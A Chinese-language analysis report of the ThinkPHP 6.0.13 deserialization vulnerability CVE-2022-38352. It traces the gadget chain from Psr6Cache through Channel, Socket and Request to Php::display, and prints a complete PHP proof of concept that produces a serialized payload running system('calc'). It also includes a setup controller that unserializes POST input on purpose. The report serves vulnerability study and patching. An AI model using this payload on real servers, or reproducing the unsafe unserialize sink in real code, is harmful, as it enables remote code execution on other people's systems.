Thinkphp v6.0.13反序列化(CVE-2022-38352)分析
字数 1351 2025-08-25 22:58:35
ThinkPHP v6.0.13反序列化漏洞(CVE-2022-38352)分析报告
漏洞概述
CVE-2022-38352是ThinkPHP框架v6.0.13版本中存在的一个反序列化漏洞,该漏洞允许攻击者通过精心构造的反序列化数据实现远程代码执行(RCE)。漏洞主要涉及框架的文件系统缓存组件和日志处理机制。
环境搭建
-
使用Composer安装ThinkPHP 6.0.13:
composer create-project topthink/think=6.0.13 tp6 -
修改
app/controller/Index.php添加反序列化点:<?php namespace app\controller; use app\BaseController; class Index extends BaseController { public function index(){ if($_POST["a"]){ unserialize(base64_decode($_POST["a"])); } return "hello"; } }
漏洞分析
漏洞触发链
-
起始点:
League\Flysystem\Cached\Storage\AbstractCache类的__destruct()方法- 当对象被销毁时,如果
$this->autosave为false,会调用save()方法
- 当对象被销毁时,如果
-
Psr6Cache类的save()方法
$this->pool可控,可以调用任意类的__call()方法- 漏洞利用中调用的是
think\log\Channel类的__call()方法
-
Channel类的__call()方法
- 当调用不存在的方法时触发
- 调用
log()方法,进而调用record()方法 - 控制
$this->lazy为false以调用save()方法
-
Socket类的save()方法
$this->logger可控,调用任意类的save()方法- 需要绕过
check()方法:$this->config['force_client_ids'] = true; $this->config['allow_client_ids'] = ''; - 控制
$this->config['debug']为true进入关键分支
-
Request类的利用
- 控制
$this->app为think\App类 - 设置
$this->instances为['think\Request'=>new Request()] - 控制
$this->url为恶意代码
- 控制
-
反射执行任意代码
- 通过
Container类的invokeMethod方法 - 控制
$this->config['format_head']为[new \think\view\driver\Php,'display'] - 最终执行
Php::display()方法实现RCE
- 通过
关键利用点
- 反序列化入口:任意反序列化点
- POP链构造:
- Psr6Cache → Channel → Socket → Request → Php
- 参数控制:
$this->autosave = false触发save()$this->lazy = false触发save()$this->config数组控制执行流程$this->url存放恶意代码
漏洞利用PoC
<?php
namespace League\Flysystem\Cached\Storage{
class Psr6Cache{
private $pool;
protected $autosave = false;
public function __construct($exp){
$this->pool = $exp;
}
}
}
namespace think\log{
class Channel{
protected $logger;
protected $lazy = true;
public function __construct($exp){
$this->logger = $exp;
$this->lazy = false;
}
}
}
namespace think{
class Request{
protected $url;
public function __construct(){
$this->url = '<?php system(\'calc\'); exit(); ?>';
}
}
class App{
protected $instances = [];
public function __construct(){
$this->instances = ['think\Request'=>new Request()];
}
}
}
namespace think\view\driver{
class Php{}
}
namespace think\log\driver{
class Socket{
protected $config = [];
protected $app;
public function __construct(){
$this->config = [
'debug'=>true,
'force_client_ids' => 1,
'allow_client_ids' => '',
'format_head' => [new \think\view\driver\Php,'display'],
];
$this->app = new \think\App();
}
}
}
namespace{
$c = new think\log\driver\Socket();
$b = new think\log\Channel($c);
$a = new League\Flysystem\Cached\Storage\Psr6Cache($b);
echo urlencode(base64_encode(serialize($a)));
}
漏洞修复
- ThinkPHP 6.1.0及以上版本已移除filesystem组件
- 临时修复方案:
- 升级到最新版本
- 禁用不可信的反序列化操作
- 对输入进行严格过滤
参考链接
- ThinkPHP官方Issue
- CVE官方描述:CVE-2022-38352
总结
该漏洞通过精心构造的反序列化链,利用框架多个组件的交互实现了远程代码执行。漏洞利用的关键在于控制多个中间对象的属性,最终通过反射机制执行任意PHP代码。开发人员应当避免使用不可信的反序列化操作,并及时更新框架版本。